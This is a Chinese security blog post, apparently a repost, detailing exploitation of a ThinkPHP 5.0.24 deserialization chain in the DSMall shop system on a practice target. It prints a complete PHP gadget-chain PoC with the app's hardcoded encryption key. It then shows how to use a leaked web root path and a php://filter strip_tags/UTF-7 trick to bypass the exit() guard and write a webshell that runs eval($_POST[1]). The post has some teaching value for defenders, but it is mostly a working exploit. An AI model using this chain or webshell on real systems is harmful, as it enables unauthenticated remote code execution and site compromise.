德尚商城(TP5.0.24)反序列化漏洞详细分析利用

admin 2023年3月13日06:38:45评论55 views字数 9586阅读31分57秒阅读模式

0x01 前言

某一天某人搭了一个靶场,简单看了一下是属于德尚商城这个开源系统。通过简单的报错能看到这货用的是Thinkphp5.0.X框架。那么该怎么打进去呢?

德尚商城(TP5.0.24)反序列化漏洞详细分析利用


0x02 信息收集

针对德尚商城的漏洞一通百度,发现有不少命令注入的漏洞,遗憾的是CNNVD并没有公开漏洞详情,在github上也找不到利用介绍,遂放弃。

德尚商城(TP5.0.24)反序列化漏洞详细分析利用


继续翻,发现安全客上有这么一篇文章:

https://www.anquanke.com/post/id/203461#h3-4

哦豁,有意思,注意到远程代码执行漏洞二,这里说明在未登录情况下:生成cookie信息并设置访问浏览历史即可getshell

http://test.com/dsmall506/public/home/index/viewed_info

这里的dsmall506是个不太常见的东西,推测是设置网站的一级目录。因此尝试访问

http://test.com/public/home/index/viewed_info

德尚商城(TP5.0.24)反序列化漏洞详细分析利用

感觉有戏,可以下一步深入利用


0x03 poc分析

在分析具体的poc之前,顺便学习一下反序列化的原理,这里借用一下别人的描述:

php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的
比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用
比如__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调用,__toString当一个对象被当作一个字符串使用。
为了更好的理解magic方法是如何工作的,在2.php中增加了三个magic方法,__construct, __destruct和__toString。可以看出,__construct在对象创建时调用,__destruct在php脚本结束时调用,__toString在对象被当作一个字符串使用时调用。这些魔术函数有点类似c++里的构造函数和析构函数。而反序列化漏洞正是利用魔术函数执行脚本。
序列化函数serialize()执行的操作是保存一个类,至于为什么要保存,可以举一个简单的例子来看一下,比如php中一个脚本b需要调用上一个脚本a的数据,而脚本b需循环多次,因为脚本a执行完后其本身的数据就会被销毁,总不可能b每次循环时都执行一遍脚本a吧,serialize()就是用来保存类的数据的,而unserialize()则是将保存的类的数据转换为一个类。

简单地来说,序列化就是把一个类(对象)转换成一串字符串,再通过反序列化将这一串字符串还原为一个类。反序列化的漏洞就是利用原有程序中反序列化对接收到类的处理方法,控制某个参数点,从而达到命令执行或者文件上传的目的。
这个攻击本质上是发送了一个包含恶意攻击的对象,只是因为在传输过程中被序列化为字节流,发送的是已经结果序列化的对象,所以被称作反序列化漏洞。
那么下面我们就可以来仔细看看这个poc了。

<?php
//到这里为止,前面的一大段namespace、use都是在构造一个符合要求的对象,这个对象以thinkmodel作为基类,只有在之后的语句中,新建了一个windows对象之后,前面的对象构造才会被一步步触发。
namespace thinkmodel;
abstract class Relation{}
namespace thinkcache;
abstract class Driver
{
}

namespace thinkcachedriver;
use thinkcacheDriver;
class File extends Driver
{
        protected $tag;
        protected $expire=0;
        protected $options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => '',
        'data_compress' => false,
    ];
    public function __construct()
    {
        $this->options['path'] = 'php://filter/write=string.rot13/resource='; //resource=upload/
//核心参数1,这里使用了php://filter伪协议写入文件,写入文件的位置由resource=决定。
        $this->tag= "good";
    }
}

class Memcached extends Driver{
 protected $handler = null;
 protected $tag;
 public function __construct()
    {
        $this->handler= new File();
        $this->tag= "mem"; //shell name = md5("tag_".md5("mem"))=cd6f3f9927538f9ffbcb1171f50582fe
//核心参数3,这个tag决定了最后生成的shell文件名,推测是于thinkphp的处理函数有关,将tag做了两次md5编码与字符串拼接。
    }
}
namespace thinksessiondriver;
use thinkcachedriverMemcached;
class Memcache{
 protected $handler = null;
 protected $config  = [
    'expire'       => 3600, // session有效期
    'timeout'      => 0, // 连接超时时间(单位:毫秒)
    'persistent'   => true, // 长连接
        'session_name' => 'nn<?cuc cucvasb();?>', // memcache key =shell content
//核心参数2,session_name中间包含了payload,nn<?cuc cucvasb(); 经过rot13解码后就是aa<?php phpinfo();
    ];
     public function __construct()
    {
        $this->handler= new Memcached();
    }
}

namespace thinkconsole;
use thinksessiondriverMemcache;
class Output{
    protected $styles = [
        'getAttr'
    ];
    private $handle = null;
    public function __construct()
    {
        $this->handle= new Memcache();
    }
}

namespace thinkdb;
use thinkconsoleOutput;
class Query
{
      protected $model;
     function __construct(){
        $this->model= new Output();
     }
}

namespace thinkmodelrelation;
use thinkmodelRelation;
use thinkconsoleOutput;
use thinkModel;
use thinkdbQuery;
abstract class OneToOne extends Relation{
}
class HasOne extends OneToOne
{
     protected $bindAttr = [];
     protected $query;
       function __construct(){
        $this->selfRelation = $this;
        $this->bindAttr = ["lin"=>"haha"];
         $this->query  = new Query();
    }
}

namespace think;
use thinkmodelrelationHasOne;
use thinkconsoleOutput;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;
    function __construct(){
         $this->append = ["lin"=>"getError"];
         $this->error = new HasOne();
         $this->parent = new Output();
    }
}

namespace thinkprocesspipes;
use thinkmodelPivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}

//经过调试之后可以看到,实际上程序会先从这里开始新建windows对象
namespace thinkmodel;
use thinkModel;
use thinkconsoleOutput;
class Pivot extends Model
{
}
use thinkprocesspipesWindows;
$a=new Windows();  //新建windows对象,一步步通过前面的class进行构造
$res= ds_encrypt(serialize($a),"a2382918dbb49c8643f19bc3ab90ecf9");  //把对象a通过序列化函数serialize()进行,序列化,再使用ds_encrypt进行加密。
echo $res;

//ds_encrypt是dsshop自己实现的一个加密函数,用于将序列化后的数据进行加密。这一块可以不用去实际理解,因为你也不会明白为什么开发人员要去这么加密,只要能用就行。(根据代码审计分析文章,a2382918dbb49c8643f19bc3ab90ecf9和-x6g6ZWm2G9g_vr0Bo.pOq3kRIxsZ6rm是硬编码的加密秘钥)
function ds_encrypt($txt, $key = '')
{
    define('TIMESTAMP',time());
    if (empty($txt))
        return $txt;
    if (empty($key))
        $key = md5('a2382918dbb49c8643f19bc3ab90ecf9');
    $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.";
    $ikey = "-x6g6ZWm2G9g_vr0Bo.pOq3kRIxsZ6rm";
    $nh1 = rand(0, 64);
    $nh2 = rand(0, 64);
    $nh3 = rand(0, 64);
    $ch1 = $chars{$nh1};
    $ch2 = $chars{$nh2};
    $ch3 = $chars{$nh3};
    $nhnum = $nh1 + $nh2 + $nh3;
    $knum = 0;
    $i = 0;
    while (isset($key{$i}))
        $knum += ord($key{$i++});
    $mdKey = substr(md5(md5(md5($key . $ch1) . $ch2 . $ikey) . $ch3), $nhnum % 8, $knum % 8 + 16);
    $txt = base64_encode(TIMESTAMP . '_' . $txt);
    $txt = str_replace(array('+', '/', '='), array('-', '_', '.'), $txt);
    $tmp = '';
    $j = 0;
    $k = 0;
    $tlen = strlen($txt);
    $klen = strlen($mdKey);
    for ($i = 0; $i < $tlen; $i++) {
        $k = $k == $klen ? 0 : $k;
        $j = ($nhnum + strpos($chars, $txt{$i}) + ord($mdKey{$k++})) % 64;
        $tmp .= $chars{$j};
    }
    $tmplen = strlen($tmp);
    $tmp = substr_replace($tmp, $ch3, $nh2 % ++$tmplen, 0);
    $tmp = substr_replace($tmp, $ch2, $nh1 % ++$tmplen, 0);
    $tmp = substr_replace($tmp, $ch1, $knum % ++$tmplen, 0);
    return $tmp;
}
?>

配好环境打个断点调试一下,可以看到经过new一个windows对象后,$a形成的对象结构:

德尚商城(TP5.0.24)反序列化漏洞详细分析利用

德尚商城(TP5.0.24)反序列化漏洞详细分析利用

序列化后则是这样:

德尚商城(TP5.0.24)反序列化漏洞详细分析利用再经过一层加密,就生成了最后的cookie数据。


0x04 尝试利用

原有poc中给出了利用方法,有以下几个重要参数:

options['path'] = 'php://filter/write=string.rot13/resource=';
'session_name' => 'nn<?cuc cucvasb();?>', // memcache key =shell content
tag= "mem"; //shell name = md5("tag_".md5("mem"))=cd6f3f9927538f9ffbcb1171f50582fe

path参数利用php://filter伪协议写入文件,写入文件的位置由resource决定,poc中这里留了空需要补全。session_name参数中写入了具体payload,因为在前面的path参数中使用了string.rot13转码,因此写入的payload是已经经过rot13转码的。在实际写入时,再过一次rot13编码就能恢复成原来的aa。tag参数决定了最后生成的文件名,具体的原理暂时还没有研究清楚。唯一可以确定的是生成文件名的方法由md5("tag_".md5("tag"))决定。出于稳妥考虑,先暂时不修改他了。
假设这个poc可用,那么首要的事情是把文件写到一个我们能访问到的路径。这个路径需要通过一个信息泄露漏洞得知。所幸在开始信息收集的过程中,发现随便输个不存在的目录就会引发报错,暴露绝对路径:

德尚商城(TP5.0.24)反序列化漏洞详细分析利用

显然,web目录就是/www/wwwroot/129xxx/,能访问到的资源则是/www/wwwroot/129xxx/public/ (这个需要一定的经验,或者复现一个环境才能得知)OK,把resource修改成我们需要的目录,打上去试试:

options['path'] = 'php://filter/write=string.rot13/resource=/www/wwwroot/129xxx/public/'; 
'session_name' => 'nn<?cuc cucvasb();?>', // memcache key =shell content
tag= "mem"; //shell name = md5("tag_".md5("mem"))=cd6f3f9927538f9ffbcb1171f50582fe

德尚商城(TP5.0.24)反序列化漏洞详细分析利用

显示500报错了。为了更直观的看到生成的效果,我们直接到目标主机上看看结果:

德尚商城(TP5.0.24)反序列化漏洞详细分析利用

可以看到在目标目录下成功生成了名为cd6f3f9927538f9ffbcb1171f50582fe.php的文件。文件内容为:

<?cuc
//000000000000
 rkvg();?>
f:43:"aa<?php phpinfo();?><trgNgge>unun</trgNgge>";

另外还生成了342与c05两个中间文件,分别为:342c486abc21b67e04718bdecce120f1.php

<?cuc
//000000000000
 rkvg();?>
f:113:"cuc://svygre/jevgr=fgevat.ebg13/erfbhepr=/jjj/jjjebbg/129/choyvp/p051089051opqsrs89150ro1o09768op.cuc";

c051089051bcdfef89150eb1b09768bc.php

<?cuc
//000000000000
 rkvg();?>
o:1;

其中更改payload等参数都会对中间文件的文件名产生影响,但是最终生成的文件名不变。原理暂时不明,可能得要去读源码才能了解了。访问一下生成的最终PHP文件看看:

德尚商城(TP5.0.24)反序列化漏洞详细分析利用

报错了……


0x05 POC修改

分析一下报错内容:

Parse error: syntax error, unexpected 
'rkvg' (T_STRING) in
/www/wwwroot/129xxx/public/cd6f3f9927538f9ffbcb1171f50582fe.php on line 3

显然是

<?cuc
//000000000000
rkvg();?>

这一块出了问题。拉去百度一波,发现是php开启短标签的锅。该网站支持php短标签:short_open_tag=On,导致<?cuc被当作php代码来执行。rkvg()作为一个函数无法被解析,因此出现了错误。

接下来就需要自己开动脑筋,解决掉短标签的问题,同时又不能影响到原有的payload使用。我们看回生成的php文件内容,之所以会产生cuc这样奇怪的标签,是因为原本这是一个带有exit()的php标签,也就是如下代码,在经过php://filter伪协议中的rot13编码之后转换了成了我们看到的样子,其中大致包含三个部分::

<?php
//000000000000
 exit();?>
f:43:"nn<?cuc cucvasb();?><getAttr>haha</getAttr>";

//1、前面php标签内的内容,自带了//000000000000和exit()
//2、序列化的残留f:43:+写进去的实际payload:php phpinfo();
//3、<trgNgge>unun</trgNgge> 也就是getattr,lin变量中的内容

其中部分1是程序自动生成,我们无法进行控制。部分2、3是我们可以控制的,但其实3不是很重要。之前的poc中利用了php://filter/write=string.rot13进行转换导致了出现短标签的问题,可以推测出来我们的filter是对php文件内容中所有的字符串一起进行处理。复习一下php://filter/,这玩意儿主要用于字节流中的编码或者过滤。它支持多个过滤器:

– string.rot13 //rot13编码
– string.toupper //全部转换为大写
– string.tolower //全部转换为小写
– string.strip_tags //去除html和php标记
– convert.* //转换过滤器
– convert.iconv.* //使用iconv函数的转换过滤器

可以同时使用多个过滤器,利用管道符(|)进行分隔。如:string.strip_tags|string.rot13就是先去除所有html和php标记之后,再对字符串进行rot13编码。想要绕过死亡exit(),最方便的方法就是用string.strip_tags把php相关标签都去掉,但是如果直接使用string.strip_tags,我们的也会被干掉,所以需要使用某种编码把我们的payload进行转换,避开strip_tags处理,最后再进行还原。编码方法第一个想到的就是base64,也就是:

options['path'] = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=';
'session_name' => 'PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWzFdKTs/Pg==', //这里的payload先经过base64编码,还原后即为(需要注意的是理想情况下,过一遍string.strip_tags之后,前面的f:43:”还在,因为base64是4个一组进行编码的,所以可能需要在payload前a,让前面的字符凑整数,后面才能正确解码)

想法很完美,生成cookie打过去,问题出现了:

德尚商城(TP5.0.24)反序列化漏洞详细分析利用

没有生成最终的文件!查看生成的中间文件,发现只剩一个字符o,原因不明。
根据其他博客的说法,推测是使用base64解码之后,因为存在=的原因,整个base64解析就直接结束了,导致后面整个都没有了。那么除了base64,还有其他什么方法呢?
这里又参考了其他大佬们的做法,有使用ibm1390这种冷门方法进行编码的[3]。ibm1390这种编码方式启发了我,但是这篇文章中,经过ibm1390编码后产生了不可见字符,导致只能转为url编码后使用urldecode()解码强行写入。因为我们的实际payload写在变量session_name而不是resource中,导致urldecode()不方便用,因此只能改用其他的方法。另外一位大佬使用了utf-7进行编码[9],但是他的处理方式是convert.iconv.utf-8.utf-7|convert.base64-decode,也就是直接把=干掉,非常简单粗暴。虽然用utf-8转utf-7不行,写utf-7的webshell不行,但可以反其道而行之呀。因为utf-7中=会转换成+AD0-,都是可见字符,所以我们完全可以把payload先用utf-7编码,之后再转回utf-8。
将webshell内容转成utf-7,写个简单的php程序:

<?php
$fp = fopen('test.txt', 'w+');
$r = stream_filter_append($fp, 'convert.iconv.utf-8.utf-7',STREAM_FILTER_WRITE);
fwrite($fp, '<?php phpinfo();eval($_POST[1]);?>');
fclose($fp);
echo $r;
?>

生成payload:

options['path'] = 'php://filter/write=string.strip_tags|convert.iconv.utf-7.utf-8/resource=/www/wwwroot/129xxx/public/';
'session_name' => '+ADw?php phpinfo()+ADs-eval(+ACQAXw-POST+AFs-1+AF0)+ADs?+AD4-'

德尚商城(TP5.0.24)反序列化漏洞详细分析利用

大功告成!!

From:https://gt4404gb.com/archives/1197

往期推荐 

// 1

对某外企的一次内网渗透复盘(三)

// 2

红队常用钓鱼方式收集

// 3

渗透测试如何利用403页面

// 4

记一次初学PHP反序列化

原文始发于微信公众号(巡安似海):德尚商城(TP5.0.24)反序列化漏洞详细分析利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月13日06:38:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   德尚商城(TP5.0.24)反序列化漏洞详细分析利用https://cn-sec.com/archives/1231123.html

发表评论

匿名网友 填写信息